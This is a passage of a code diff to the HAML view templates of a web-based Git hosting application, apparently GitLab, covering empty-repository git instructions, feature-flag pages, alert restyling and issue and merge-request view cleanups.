+ - if diff_file.submodule?
+ .file-actions.d-none.d-sm-block
+ = submodule_diff_compare_link(diff_file)
+
- unless diff_file.submodule?
- blob = diff_file.blob
.file-actions.d-none.d-sm-block
diff --git a/app/views/projects/edit.html.haml b/app/views/projects/edit.html.haml
index bf978b01652..e5c4cfcbd72 100644
--- a/app/views/projects/edit.html.haml
+++ b/app/views/projects/edit.html.haml
@@ -39,7 +39,7 @@
%input{ name: 'update_section', type: 'hidden', value: 'js-merge-request-settings' }
= render 'projects/merge_request_settings', form: f
.gl-display-flex.gl-justify-content-end
- = f.submit _('Save changes'), class: "btn btn-succes qa-save-merge-request-changes rspec-save-merge-request-changes"
+ = f.submit _('Save changes'), class: "btn btn-success qa-save-merge-request-changes rspec-save-merge-request-changes"
= render_if_exists 'projects/merge_request_approvals_settings', expanded: expanded
diff --git a/app/views/projects/empty.html.haml b/app/views/projects/empty.html.haml
index bfb22aa8025..c9edc3c12ec 100644
--- a/app/views/projects/empty.html.haml
+++ b/app/views/projects/empty.html.haml
@@ -5,72 +5,71 @@
= render partial: 'flash_messages', locals: { project: @project }
-%div{ class: [("limit-container-width" unless fluid_layout)] }
- = render "home_panel"
+= render "home_panel"
- %h4.gl-mt-0.gl-mb-3
- = _('The repository for this project is empty')
+%h4.gl-mt-0.gl-mb-3
+ = _('The repository for this project is empty')
- - if @project.can_current_user_push_code?
- %p.gl-mb-0
- = _('You can get started by cloning the repository or start adding files to it with one of the following options.')
+- if @project.can_current_user_push_code?
+ %p.gl-mb-0
+ = _('You can get started by cloning the repository or start adding files to it with one of the following options.')
- .project-buttons.qa-quick-actions
- .project-clone-holder.d-block.d-md-none.mt-2.mr-2
- = render "shared/mobile_clone_panel"
+.project-buttons.qa-quick-actions
+ .project-clone-holder.d-block.d-md-none.mt-2.mr-2
+ = render "shared/mobile_clone_panel"
- .project-clone-holder.d-none.d-md-inline-block.mt-2.mr-2.float-left
- = render "projects/buttons/clone"
- = render 'stat_anchor_list', anchors: @project.empty_repo_statistics_buttons
+ .project-clone-holder.d-none.d-md-inline-block.mt-2.mr-2.float-left
+ = render "projects/buttons/clone"
+ = render 'stat_anchor_list', anchors: @project.empty_repo_statistics_buttons
- - if can?(current_user, :push_code, @project)
- .empty-wrapper.gl-mt-7
- %h3#repo-command-line-instructions.page-title-empty
- = _('Command line instructions')
- %p
- = _('You can also upload existing files from your computer using the instructions below.')
- .git-empty.js-git-empty
- %fieldset
- %h5= _('Git global setup')
- %pre.bg-light
- :preserve
- git config --global user.name "#{h git_user_name}"
- git config --global user.email "#{h git_user_email}"
+- if can?(current_user, :push_code, @project)
+ .empty-wrapper.gl-mt-7
+ %h3#repo-command-line-instructions.page-title-empty
+ = _('Command line instructions')
+ %p
+ = _('You can also upload existing files from your computer using the instructions below.')
+ .git-empty.js-git-empty
+ %fieldset
+ %h5= _('Git global setup')
+ %pre.bg-light
+ :preserve
+ git config --global user.name "#{h git_user_name}"
+ git config --global user.email "#{h git_user_email}"
- %fieldset
- %h5= _('Create a new repository')
- %pre.bg-light
- :preserve
- git clone #{ content_tag(:span, default_url_to_repo, class: 'js-clone')}
- cd #{h @project.path}
- touch README.md
- git add README.md
- git commit -m "add README"
- - if @project.can_current_user_push_to_default_branch?
- %span><
- git push -u origin #{ default_branch_name }
+ %fieldset
+ %h5= _('Create a new repository')
+ %pre.bg-light
+ :preserve
+ git clone #{ content_tag(:span, default_url_to_repo, class: 'js-clone')}
+ cd #{h @project.path}
+ touch README.md
+ git add README.md
+ git commit -m "add README"
+ - if @project.can_current_user_push_to_default_branch?
+ %span><
+ git push -u origin #{ default_branch_name }
- %fieldset
- %h5= _('Push an existing folder')
- %pre.bg-light
- :preserve
- cd existing_folder
- git init
- git remote add origin #{ content_tag(:span, default_url_to_repo, class: 'js-clone')}
- git add .
- git commit -m "Initial commit"
- - if @project.can_current_user_push_to_default_branch?
- %span><
- git push -u origin #{ default_branch_name }
+ %fieldset
+ %h5= _('Push an existing folder')
+ %pre.bg-light
+ :preserve
+ cd existing_folder
+ git init
+ git remote add origin #{ content_tag(:span, default_url_to_repo, class: 'js-clone')}
+ git add .
+ git commit -m "Initial commit"
+ - if @project.can_current_user_push_to_default_branch?
+ %span><
+ git push -u origin #{ default_branch_name }
- %fieldset
- %h5= _('Push an existing Git repository')
- %pre.bg-light
- :preserve
- cd existing_repo
- git remote rename origin old-origin
- git remote add origin #{ content_tag(:span, default_url_to_repo, class: 'js-clone')}
- - if @project.can_current_user_push_to_default_branch?
- %span><
- git push -u origin --all
- git push -u origin --tags
+ %fieldset
+ %h5= _('Push an existing Git repository')
+ %pre.bg-light
+ :preserve
+ cd existing_repo
+ git remote rename origin old-origin
+ git remote add origin #{ content_tag(:span, default_url_to_repo, class: 'js-clone')}
+ - if @project.can_current_user_push_to_default_branch?
+ %span><
+ git push -u origin --all
+ git push -u origin --tags
diff --git a/app/views/projects/environments/folder.html.haml b/app/views/projects/environments/folder.html.haml
index cd24c30e46f..554cb4323f7 100644
--- a/app/views/projects/environments/folder.html.haml
+++ b/app/views/projects/environments/folder.html.haml
@@ -2,4 +2,4 @@
- breadcrumb_title _("Folder/%{name}") % { name: @folder }
- page_title _("Environments in %{name}") % { name: @folder }
-#environments-folder-list-view{ data: { environments_data: environments_folder_list_view_data } }
+#environments-folder-list-view{ data: { environments_data: environments_folder_list_view_data, project_path: @project.full_path } }
diff --git a/app/views/projects/environments/index.html.haml b/app/views/projects/environments/index.html.haml
index 445196ed449..9abc1a5a925 100644
--- a/app/views/projects/environments/index.html.haml
+++ b/app/views/projects/environments/index.html.haml
@@ -5,4 +5,5 @@
"can-create-environment" => can?(current_user, :create_environment, @project).to_s,
"new-environment-path" => new_project_environment_path(@project),
"help-page-path" => help_page_path("ci/environments/index.md"),
- "deploy-boards-help-path" => help_page_path("user/project/deploy_boards", anchor: "enabling-deploy-boards") } }
+ "deploy-boards-help-path" => help_page_path("user/project/deploy_boards", anchor: "enabling-deploy-boards"),
+ "project-path" => @project.full_path } }
diff --git a/app/views/projects/environments/show.html.haml b/app/views/projects/environments/show.html.haml
index 2e665a12a0a..929015023d2 100644
--- a/app/views/projects/environments/show.html.haml
+++ b/app/views/projects/environments/show.html.haml
@@ -69,7 +69,7 @@
.text-center
= link_to _("Read more"), help_page_path("ci/environments"), class: "btn btn-success"
- else
- .table-holder
+ .table-holder.gl-overflow-visible
.ci-table.environments{ role: 'grid' }
.gl-responsive-table-row.table-row-header{ role: 'row' }
.table-section.section-15{ role: 'columnheader' }= _('Status')
diff --git a/app/views/projects/feature_flags/_errors.html.haml b/app/views/projects/feature_flags/_errors.html.haml
new file mode 100644
index 00000000000..a32245640be
--- /dev/null
+++ b/app/views/projects/feature_flags/_errors.html.haml
@@ -0,0 +1,4 @@
+#error_explanation
+ .alert.alert-danger
+ - @feature_flag.errors.full_messages.each do |message|
+ %p= message
diff --git a/app/views/projects/feature_flags/edit.html.haml b/app/views/projects/feature_flags/edit.html.haml
new file mode 100644
index 00000000000..4de41ca4080
--- /dev/null
+++ b/app/views/projects/feature_flags/edit.html.haml
@@ -0,0 +1,16 @@
+- @gfm_form = Feature.enabled?(:feature_flags_issue_links, @project, default_enabled: true)
+
+- add_to_breadcrumbs s_('FeatureFlags|Feature Flags'), project_feature_flags_path(@project)
+- breadcrumb_title @feature_flag.name
+- page_title s_('FeatureFlags|Edit Feature Flag')
+
+#js-edit-feature-flag{ data: { endpoint: project_feature_flag_path(@project, @feature_flag),
+ project_id: @project.id,
+ feature_flags_path: project_feature_flags_path(@project),
+ environments_endpoint: search_project_environments_path(@project, format: :json),
+ user_callouts_path: user_callouts_path,
+ user_callout_id: UserCalloutsHelper::FEATURE_FLAGS_NEW_VERISION,
+ show_user_callout: show_feature_flags_new_version?.to_s,
+ strategy_type_docs_page_path: help_page_path('operations/feature_flags', anchor: 'feature-flag-strategies'),
+ environments_scope_docs_path: help_page_path('ci/environments', anchor: 'scoping-environments-with-specs'),
+ feature_flag_issues_endpoint: feature_flag_issues_links_endpoint(@project, @feature_flag, current_user) } }
diff --git a/app/views/projects/feature_flags/index.html.haml b/app/views/projects/feature_flags/index.html.haml
new file mode 100644
index 00000000000..f425de91d12
--- /dev/null
+++ b/app/views/projects/feature_flags/index.html.haml
@@ -0,0 +1,15 @@
+- page_title s_('FeatureFlags|Feature Flags')
+
+#feature-flags-vue{ data: { endpoint: project_feature_flags_path(@project, format: :json),
+ "project-id" => @project.id,
+ "project-name" => @project.name,
+ "error-state-svg-path" => image_path('illustrations/feature_flag.svg'),
+ "feature-flags-help-page-path" => help_page_path("operations/feature_flags"),
+ "feature-flags-client-libraries-help-page-path" => help_page_path("operations/feature_flags", anchor: "choose-a-client-library"),
+ "feature-flags-client-example-help-page-path" => help_page_path("operations/feature_flags", anchor: "golang-application-example"),
+ "unleash-api-url" => (unleash_api_url(@project) if can?(current_user, :admin_feature_flag, @project)),
+ "unleash-api-instance-id" => (unleash_api_instance_id(@project) if can?(current_user, :admin_feature_flag, @project)),
+ "can-user-admin-feature-flag" => can?(current_user, :admin_feature_flag, @project),
+ "new-feature-flag-path" => can?(current_user, :create_feature_flag, @project) ? new_project_feature_flag_path(@project): nil,
+ "rotate-instance-id-path" => can?(current_user, :admin_feature_flags_client, @project) ? reset_token_project_feature_flags_client_path(@project, format: :json) : nil,
+ "new-user-list-path" => can?(current_user, :admin_feature_flags_user_lists, @project) ? new_project_feature_flags_user_list_path(@project) : nil } }
diff --git a/app/views/projects/feature_flags/new.html.haml b/app/views/projects/feature_flags/new.html.haml
new file mode 100644
index 00000000000..a7388361da5
--- /dev/null
+++ b/app/views/projects/feature_flags/new.html.haml
@@ -0,0 +1,14 @@
+- @breadcrumb_link = new_project_feature_flag_path(@project)
+- add_to_breadcrumbs s_('FeatureFlags|Feature Flags'), project_feature_flags_path(@project)
+- breadcrumb_title s_('FeatureFlags|New')
+- page_title s_('FeatureFlags|New Feature Flag')
+
+#js-new-feature-flag{ data: { endpoint: project_feature_flags_path(@project, format: :json),
+ feature_flags_path: project_feature_flags_path(@project),
+ environments_endpoint: search_project_environments_path(@project, format: :json),
+ user_callouts_path: user_callouts_path,
+ user_callout_id: UserCalloutsHelper::FEATURE_FLAGS_NEW_VERISION,
+ show_user_callout: show_feature_flags_new_version?.to_s,
+ strategy_type_docs_page_path: help_page_path('operations/feature_flags', anchor: 'feature-flag-strategies'),
+ environments_scope_docs_path: help_page_path('ci/environments', anchor: 'scoping-environments-with-specs'),
+ project_id: @project.id } }
diff --git a/app/views/projects/feature_flags_user_lists/edit.html.haml b/app/views/projects/feature_flags_user_lists/edit.html.haml
new file mode 100644
index 00000000000..ea47cc06c0e
--- /dev/null
+++ b/app/views/projects/feature_flags_user_lists/edit.html.haml
@@ -0,0 +1,7 @@
+- add_to_breadcrumbs s_('FeatureFlags|Feature Flags'), project_feature_flags_path(@project)
+- breadcrumb_title s_('FeatureFlags|Edit User List')
+- page_title s_('FeatureFlags|Edit User List')
+
+#js-edit-user-list{ data: { 'user-lists-docs-path' => help_page_path('operations/feature_flags.md', anchor: 'user-list'),
+ 'user-list-iid' => @user_list.iid,
+ 'project-id' => @project.id } }
diff --git a/app/views/projects/feature_flags_user_lists/new.html.haml b/app/views/projects/feature_flags_user_lists/new.html.haml
new file mode 100644
index 00000000000..3d25453cb66
--- /dev/null
+++ b/app/views/projects/feature_flags_user_lists/new.html.haml
@@ -0,0 +1,8 @@
+- @breadcrumb_link = new_project_feature_flags_user_list_path(@project)
+- add_to_breadcrumbs s_('FeatureFlags|Feature Flags'), project_feature_flags_path(@project)
+- breadcrumb_title s_('FeatureFlags|New User List')
+- page_title s_('FeatureFlags|New User List')
+
+#js-new-user-list{ data: { 'user-lists-docs-path' => help_page_path('operations/feature_flags.md', anchor: 'user-list'),
+ 'feature-flags-path' => project_feature_flags_path(@project),
+ 'project-id' => @project.id } }
diff --git a/app/views/projects/feature_flags_user_lists/show.html.haml b/app/views/projects/feature_flags_user_lists/show.html.haml
new file mode 100644
index 00000000000..add256f0190
--- /dev/null
+++ b/app/views/projects/feature_flags_user_lists/show.html.haml
@@ -0,0 +1,7 @@
+- add_to_breadcrumbs s_('FeatureFlags|Feature Flags'), project_feature_flags_path(@project)
+- breadcrumb_title s_('FeatureFlags|List details')
+- page_title s_('FeatureFlags|Feature Flag User List Details')
+
+#js-edit-user-list{ data: { project_id: @project.id,
+ user_list_iid: @user_list.iid,
+ empty_state_path: image_path('illustrations/feature_flag.svg') } }
diff --git a/app/views/projects/find_file/show.html.haml b/app/views/projects/find_file/show.html.haml
index 786af3714a6..194b10e9ef4 100644
--- a/app/views/projects/find_file/show.html.haml
+++ b/app/views/projects/find_file/show.html.haml
@@ -24,4 +24,4 @@
%p.text-secondary
= _('Try using a different search term to find the file you are looking for.')
.text-center.gl-mt-3.loading
- .spinner.spinner-md
+ = loading_icon(size: 'md')
diff --git a/app/views/projects/forks/error.html.haml b/app/views/projects/forks/error.html.haml
index 5d527f1bcfb..0c15796b667 100644
--- a/app/views/projects/forks/error.html.haml
+++ b/app/views/projects/forks/error.html.haml
@@ -1,20 +1,22 @@
- page_title _("Fork project")
- if @forked_project && !@forked_project.saved?
- .alert.alert-danger.alert-block
- %h4
+ .gl-alert.gl-alert-danger.gl-mt-5
+ = sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon')
+ %h4.gl-alert-title
= sprite_icon('fork')
= _("Fork Error!")
- %p
- = _("You tried to fork %{link_to_the_project} but it failed for the following reason:").html_safe % { link_to_the_project: link_to_project(@project) }
-
- - if @forked_project && @forked_project.errors.any?
+ .gl-alert-body
%p
- &ndash;
- - error = @forked_project.errors.full_messages.first
- - if error.include?("already been taken")
- = _("Name has already been taken")
- - else
- = error
+ = _("You tried to fork %{link_to_the_project} but it failed for the following reason:").html_safe % { link_to_the_project: link_to_project(@project) }
+
+ - if @forked_project && @forked_project.errors.any?
+ %p
+ &ndash;
+ - error = @forked_project.errors.full_messages.first
+ - if error.include?("already been taken")
+ = _("Name has already been taken")
+ - else
+ = error
- %p
- = link_to _("Try to fork again"), new_project_fork_path(@project), title: _("Fork"), class: "btn"
+ .gl-alert-actions
+ = link_to _("Try to fork again"), new_project_fork_path(@project), title: _("Fork"), class: "btn gl-alert-action btn-info btn-md gl-button"
diff --git a/app/views/projects/graphs/show.html.haml b/app/views/projects/graphs/show.html.haml
index 495a4ac50bf..a73e367733b 100644
--- a/app/views/projects/graphs/show.html.haml
+++ b/app/views/projects/graphs/show.html.haml
@@ -1,6 +1,6 @@
- page_title _('Contributors')
-.sub-header-block.bg-gray-light.gl-p-3-deprecated-no-really-do-not-use-me
+.sub-header-block.bg-gray-light.gl-p-5
.tree-ref-holder.inline.vertical-align-middle
= render 'shared/ref_switcher', destination: 'graphs'
= link_to s_('Commits|History'), project_commits_path(@project, current_ref), class: 'btn'
diff --git a/app/views/projects/imports/show.html.haml b/app/views/projects/imports/show.html.haml
index 09624b771ea..0c1efab2195 100644
--- a/app/views/projects/imports/show.html.haml
+++ b/app/views/projects/imports/show.html.haml
@@ -4,7 +4,7 @@
.save-project-loader
.center
%h2
- %i.loading.spinner.spinner-sm
+ = loading_icon
= import_in_progress_title
- if !has_ci_cd_only_params? && @project.external_import?
%p.monospace git clone --bare #{@project.safe_import_url}
diff --git a/app/views/projects/issues/_design_management.html.haml b/app/views/projects/issues/_design_management.html.haml
index 9d88d77eac9..6fc2f41b122 100644
--- a/app/views/projects/issues/_design_management.html.haml
+++ b/app/views/projects/issues/_design_management.html.haml
@@ -1,23 +1,12 @@
+- return if @issue.incident?
+
- requirements_link_url = help_page_path('user/project/issues/design_management', anchor: 'requirements')
- requirements_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: requirements_link_url }
- link_end = '</a>'.html_safe
-- enable_lfs_message = s_("DesignManagement|To upload designs, you'll need to enable LFS. %{requirements_link_start}More information%{requirements_link_end}").html_safe % { requirements_link_start: requirements_link_start, requirements_link_end: link_end }
+- enable_lfs_message = s_("DesignManagement|To upload designs, you'll need to enable LFS and have admin enable hashed storage. %{requirements_link_start}More information%{requirements_link_end}").html_safe % { requirements_link_start: requirements_link_start, requirements_link_end: link_end }
- if @project.design_management_enabled?
- - if Feature.enabled?(:design_management_moved, @project, default_enabled: true)
- .js-design-management-new{ data: { project_path: @project.full_path, issue_iid: @issue.iid, issue_path: project_issue_path(@project, @issue) } }
- - else
- .js-design-management{ data: { project_path: @project.full_path, issue_iid: @issue.iid, issue_path: project_issue_path(@project, @issue) } }
+ .js-design-management{ data: { project_path: @project.full_path, issue_iid: @issue.iid, issue_path: project_issue_path(@project, @issue) } }
- else
- - if Feature.enabled?(:design_management_moved, @project, default_enabled: true)
- .gl-border-solid.gl-border-1.gl-border-gray-100.gl-rounded-base.gl-mt-5.gl-p-3.gl-text-center
- = enable_lfs_message
- - else
- .mt-4
- .row.empty-state
- .col-12
- .text-content
- %h4.center
- = _('The one place for your designs')
- %p.center
- = enable_lfs_message
+ .gl-border-solid.gl-border-1.gl-border-gray-100.gl-rounded-base.gl-mt-5.gl-p-3.gl-text-center
+ = enable_lfs_message
diff --git a/app/views/projects/issues/_issues.html.haml b/app/views/projects/issues/_issues.html.haml
index 1e24b08ece2..1a557cce33c 100644
--- a/app/views/projects/issues/_issues.html.haml
+++ b/app/views/projects/issues/_issues.html.haml
@@ -1,4 +1,6 @@
-- if Feature.enabled?(:vue_issuables_list, @project)
+- is_project_overview = local_assigns.fetch(:is_project_overview, false)
+
+- if Feature.enabled?(:vue_issuables_list, @project) && !is_project_overview
- data_endpoint = local_assigns.fetch(:data_endpoint, expose_path(api_v4_projects_issues_path(id: @project.id)))
- default_empty_state_meta = { create_issue_path: new_project_issue_path(@project), svg_path: image_path('illustrations/issues.svg') }
- data_empty_state_meta = local_assigns.fetch(:data_empty_state_meta, default_empty_state_meta)
diff --git a/app/views/projects/issues/_related_issues.html.haml b/app/views/projects/issues/_related_issues.html.haml
new file mode 100644
index 00000000000..d131d20f079
--- /dev/null
+++ b/app/views/projects/issues/_related_issues.html.haml
@@ -0,0 +1,6 @@
+- if can?(current_user, :read_issue_link, @project)
+ .js-related-issues-root{ data: { endpoint: project_issue_links_path(@project, @issue),
+ can_add_related_issues: "#{can?(current_user, :admin_issue_link, @issue)}",
+ help_path: help_page_path('user/project/issues/related_issues'),
+ show_categorized_issues: "false" } }
+ - render('projects/issues/related_issues_block')
diff --git a/app/views/projects/issues/_related_issues_block.html.haml b/app/views/projects/issues/_related_issues_block.html.haml
new file mode 100644
index 00000000000..8d986b64b1d
--- /dev/null
+++ b/app/views/projects/issues/_related_issues_block.html.haml
@@ -0,0 +1,5 @@
+.related-issues-block
+ .card.card-slim
+ .card-header.panel-empty-heading.border-bottom-0
+ %h3.card-title.mt-0.mb-0.h5
+ = _('Linked issues')
diff --git a/app/views/projects/issues/_tabs.html.haml b/app/views/projects/issues/_tabs.html.haml
deleted file mode 100644
index d998a01623f..00000000000
--- a/app/views/projects/issues/_tabs.html.haml
+++ /dev/null
@@ -1,14 +0,0 @@
-%ul.nav-tabs.nav.nav-links{ role: 'tablist' }
- %li
- = link_to '#discussion-tab', class: 'active js-issue-tabs', id: 'discussion', role: 'tab', 'aria-controls': 'js-discussion', 'aria-selected': 'true', data: { toggle: 'tab', target: '#discussion-tab', qa_selector: 'discussion_tab_link' } do
- = _('Discussion')
- %span.badge.badge-pill.js-discussions-count
- %li
- = link_to '#designs-tab', class: 'js-issue-tabs', id: 'designs', role: 'tab', 'aria-controls': 'js-designs', 'aria-selected': 'false', data: { toggle: 'tab', target: '#designs-tab', qa_selector: 'designs_tab_link' } do
- = _('Designs')
- %span.badge.badge-pill.js-designs-count
-.tab-content
- #discussion-tab.tab-pane.show.active{ role: 'tabpanel', 'aria-labelledby': 'discussion', data: { qa_selector: 'discussion_tab_content' } }
- = render 'projects/issues/discussion'
- #designs-tab.tab-pane{ role: 'tabpanel', 'aria-labelledby': 'designs', data: { qa_selector: 'designs_tab_content' } }
- = render 'projects/issues/design_management'
diff --git a/app/views/projects/issues/service_desk.html.haml b/app/views/projects/issues/service_desk.html.haml
index bd260bdf143..65580a94cd0 100644
--- a/app/views/projects/issues/service_desk.html.haml
+++ b/app/views/projects/issues/service_desk.html.haml
@@ -7,7 +7,7 @@
- support_bot_attrs = { service_desk_enabled: @project.service_desk_enabled?, **UserSerializer.new.represent(User.support_bot) }.to_json
-- data_endpoint = "#{expose_path(api_v4_projects_issues_path(id: @project.id))}?author_id=#{User.support_bot.id}"
+- data_endpoint = "#{expose_path(api_v4_projects_issues_path(id: @project.id))}?author_username=#{User.support_bot.username}"
%div{ class: "js-service-desk-issues service-desk-issues", data: { support_bot: support_bot_attrs, service_desk_meta: service_desk_meta(@project) } }
.top-area
diff --git a/app/views/projects/issues/show.html.haml b/app/views/projects/issues/show.html.haml
index a7817ad5552..c762b044c3e 100644
--- a/app/views/projects/issues/show.html.haml
+++ b/app/views/projects/issues/show.html.haml
@@ -64,7 +64,8 @@
-# haml-lint:disable InlineJavaScript
%script#js-issuable-app-initial-data{ type: "application/json" }= issuable_initial_data(@issue).to_json
#js-issuable-app
- %h2.title= markdown_field(@issue, :title)
+ .title-container
+ %h2.title= markdown_field(@issue, :title)
- if @issue.description.present?
.description{ class: can?(current_user, :update_issue, @issue) ? 'js-task-list-container' : '' }
.md= markdown_field(@issue, :description)
@@ -75,8 +76,7 @@
- if @issue.sentry_issue.present?
#js-sentry-error-stack-trace{ data: error_details_data(@project, @issue.sentry_issue.sentry_issue_identifier) }
- - if Feature.enabled?(:design_management_moved, @project, default_enabled: true)
- = render 'projects/issues/design_management'
+ = render 'projects/issues/design_management'
= render_if_exists 'projects/issues/related_issues'
@@ -96,9 +96,6 @@
#js-vue-discussion-filter{ data: { default_filter: current_user&.notes_filter_for(@issue), notes_filters: UserPreference.notes_filters.to_json } }
= render 'new_branch' if show_new_branch_button?
- - if Feature.enabled?(:design_management_moved, @project, default_enabled: true)
- = render 'projects/issues/discussion'
- - else
- = render 'projects/issues/tabs'
+ = render 'projects/issues/discussion'
= render 'shared/issuable/sidebar', issuable_sidebar: @issuable_sidebar, assignees: @issue.assignees
diff --git a/app/views/projects/jobs/index.html.haml b/app/views/projects/jobs/index.html.haml
index 4f537ee8014..0b4b4aafeee 100644
--- a/app/views/projects/jobs/index.html.haml
+++ b/app/views/projects/jobs/index.html.haml
@@ -7,9 +7,9 @@
.nav-controls
- if can?(current_user, :update_build, @project)
- unless @repository.gitlab_ci_yml
- = link_to 'Get started with Pipelines', help_page_path('ci/quick_start/README'), class: 'btn btn-info'
+ = link_to 'Get started with Pipelines', help_page_path('ci/quick_start/README'), class: 'btn gl-button btn-info'
- = link_to project_ci_lint_path(@project), class: 'btn btn-default' do
+ = link_to project_ci_lint_path(@project), class: 'btn gl-button btn-default' do
%span CI lint
.content-list.builds-content-list
diff --git a/app/views/projects/merge_requests/_how_to_merge.html.haml b/app/views/projects/merge_requests/_how_to_merge.html.haml
index df81e608c3e..a831972a823 100644
--- a/app/views/projects/merge_requests/_how_to_merge.html.haml
+++ b/app/views/projects/merge_requests/_how_to_merge.html.haml
@@ -53,4 +53,4 @@
%strong Tip:
= succeed '.' do
You can also checkout merge requests locally by
- = link_to 'following these guidelines', help_page_path('user/project/merge_requests/reviewing_and_managing_merge_requests.md', anchor: "checkout-merge-requests-locally"), target: '_blank', rel: 'noopener noreferrer'
+ = link_to 'following these guidelines', help_page_path('user/project/merge_requests/reviewing_and_managing_merge_requests.md', anchor: "checkout-merge-requests-locally-through-the-head-ref"), target: '_blank', rel: 'noopener noreferrer'
diff --git a/app/views/projects/merge_requests/_mr_title.html.haml b/app/views/projects/merge_requests/_mr_title.html.haml
index 8aa4a935384..454a0694355 100644
--- a/app/views/projects/merge_requests/_mr_title.html.haml
+++ b/app/views/projects/merge_requests/_mr_title.html.haml
@@ -4,8 +4,10 @@
- state_human_name, state_icon_name = state_name_with_icon(@merge_request)
- if @merge_request.closed_without_fork?
- .alert.alert-danger
- The source project of this merge request has been removed.
+ .gl-alert.gl-alert-danger.gl-mb-5
+ = sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-body
+ The source project of this merge request has been removed.
.detail-page-header.border-bottom-0.pt-0.pb-0
.detail-page-header-body
diff --git a/app/views/projects/merge_requests/_widget.html.haml b/app/views/projects/merge_requests/_widget.html.haml
index 64b14f8889c..9736071b03f 100644
--- a/app/views/projects/merge_requests/_widget.html.haml
+++ b/app/views/projects/merge_requests/_widget.html.haml
@@ -7,7 +7,7 @@
window.gl.mrWidgetData.ci_troubleshooting_docs_path = '#{help_page_path('ci/troubleshooting.md')}';
window.gl.mrWidgetData.mr_troubleshooting_docs_path = '#{help_page_path('user/project/merge_requests/reviewing_and_managing_merge_requests.md', anchor: 'troubleshooting')}';
window.gl.mrWidgetData.pipeline_must_succeed_docs_path = '#{help_page_path('user/project/merge_requests/merge_when_pipeline_succeeds.md', anchor: 'only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds')}';
- window.gl.mrWidgetData.security_approvals_help_page_path = '#{help_page_path('user/application_security/index.md', anchor: 'security-approvals-in-merge-requests-ultimate')}';
+ window.gl.mrWidgetData.security_approvals_help_page_path = '#{help_page_path('user/application_security/index.md', anchor: 'security-approvals-in-merge-requests')}';
window.gl.mrWidgetData.eligible_approvers_docs_path = '#{help_page_path('user/project/merge_requests/merge_request_approvals', anchor: 'eligible-approvers')}';
window.gl.mrWidgetData.approvals_help_path = '#{help_page_path("user/project/merge_requests/merge_request_approvals")}';
window.gl.mrWidgetData.pipelines_empty_svg_path = '#{image_path('illustrations/pipelines_empty.svg')}';
diff --git a/app/views/projects/merge_requests/conflicts/show.html.haml b/app/views/projects/merge_requests/conflicts/show.html.haml
index 6c23661fb86..28ba2b6ac75 100644
--- a/app/views/projects/merge_requests/conflicts/show.html.haml
+++ b/app/views/projects/merge_requests/conflicts/show.html.haml
@@ -6,7 +6,7 @@
.merge-request-details.issuable-details
= render "projects/merge_requests/mr_box"
-= render 'shared/issuable/sidebar', issuable_sidebar: @issuable_sidebar, assignees: @merge_request.assignees
+= render 'shared/issuable/sidebar', issuable_sidebar: @issuable_sidebar, assignees: @merge_request.assignees, source_branch: @merge_request.source_branch
#conflicts{ "v-cloak" => "true", data: { conflicts_path: conflicts_project_merge_request_path(@merge_request.project, @merge_request, format: :json),
resolve_conflicts_path: resolve_conflicts_project_merge_request_path(@merge_request.project, @merge_request) } }
diff --git a/app/views/projects/merge_requests/creations/_new_compare.html.haml b/app/views/projects/merge_requests/creations/_new_compare.html.haml
index 874adb19734..f0a68512326 100644
--- a/app/views/projects/merge_requests/creations/_new_compare.html.haml
+++ b/app/views/projects/merge_requests/creations/_new_compare.html.haml
@@ -23,7 +23,7 @@
selected: f.object.source_project_id
.merge-request-select.dropdown
= f.hidden_field :source_branch
- = dropdown_toggle f.object.source_branch || _("Select source branch"), { toggle: "dropdown", 'field-name': "#{f.object_name}[source_branch]", 'refs-url': refs_project_path(@source_project), selected: f.object.source_branch }, { toggle_class: "js-compare-dropdown js-source-branch monospace" }
+ = dropdown_toggle f.object.source_branch.presence || _("Select source branch"), { toggle: "dropdown", 'field-name': "#{f.object_name}[source_branch]", 'refs-url': refs_project_path(@source_project), selected: f.object.source_branch }, { toggle_class: "js-compare-dropdown js-source-branch monospace" }
.dropdown-menu.dropdown-menu-selectable.js-source-branch-dropdown.git-revision-dropdown
= dropdown_title(_("Select source branch"))
= dropdown_filter(_("Search branches"))
@@ -52,7 +52,7 @@
selected: f.object.target_project_id
.merge-request-select.dropdown
= f.hidden_field :target_branch
- = dropdown_toggle f.object.target_branch || _("Select target branch"), { toggle: "dropdown", 'field-name': "#{f.object_name}[target_branch]", 'refs-url': refs_project_path(f.object.target_project), selected: f.object.target_branch }, { toggle_class: "js-compare-dropdown js-target-branch monospace" }
+ = dropdown_toggle f.object.target_branch.presence || _("Select target branch"), { toggle: "dropdown", 'field-name': "#{f.object_name}[target_branch]", 'refs-url': refs_project_path(f.object.target_project), selected: f.object.target_branch }, { toggle_class: "js-compare-dropdown js-target-branch monospace" }
.dropdown-menu.dropdown-menu-selectable.js-target-branch-dropdown.git-revision-dropdown
= dropdown_title(_("Select target branch"))
= dropdown_filter(_("Search branches"))
diff --git a/app/views/projects/merge_requests/diffs/_different_base.html.haml b/app/views/projects/merge_requests/diffs/_different_base.html.haml
index 0e57066f9c9..06a15b96653 100644
--- a/app/views/projects/merge_requests/diffs/_different_base.html.haml
+++ b/app/views/projects/merge_requests/diffs/_different_base.html.haml
@@ -1,7 +1,7 @@
- if @merge_request_diff && different_base?(@start_version, @merge_request_diff)
.mr-version-controls
.content-block
- = icon('info-circle')
+ = sprite_icon('information-o')
Selected versions have different base commits.
Changes will include
= link_to project_compare_path(@project, from: @start_version.base_commit_sha, to: @merge_request_diff.base_commit_sha) do
diff --git a/app/views/projects/merge_requests/diffs/_not_all_comments_displayed.html.haml b/app/views/projects/merge_requests/diffs/_not_all_comments_displayed.html.haml
index 8d7138747fb..b9dc37c9b54 100644
--- a/app/views/projects/merge_requests/diffs/_not_all_comments_displayed.html.haml
+++ b/app/views/projects/merge_requests/diffs/_not_all_comments_displayed.html.haml
@@ -1,7 +1,7 @@
- if @commit || @start_version || (@merge_request_diff && !@merge_request_diff.latest?)
.mr-version-controls
.content-block.comments-disabled-notif.clearfix
- = icon('info-circle')
+ = sprite_icon('information-o')
= succeed '.' do
- if @commit
Only comments from the following commit are shown below
diff --git a/app/views/projects/merge_requests/show.html.haml b/app/views/projects/merge_requests/show.html.haml
index 746d613934c..b579f7510f9 100644
--- a/app/views/projects/merge_requests/show.html.haml
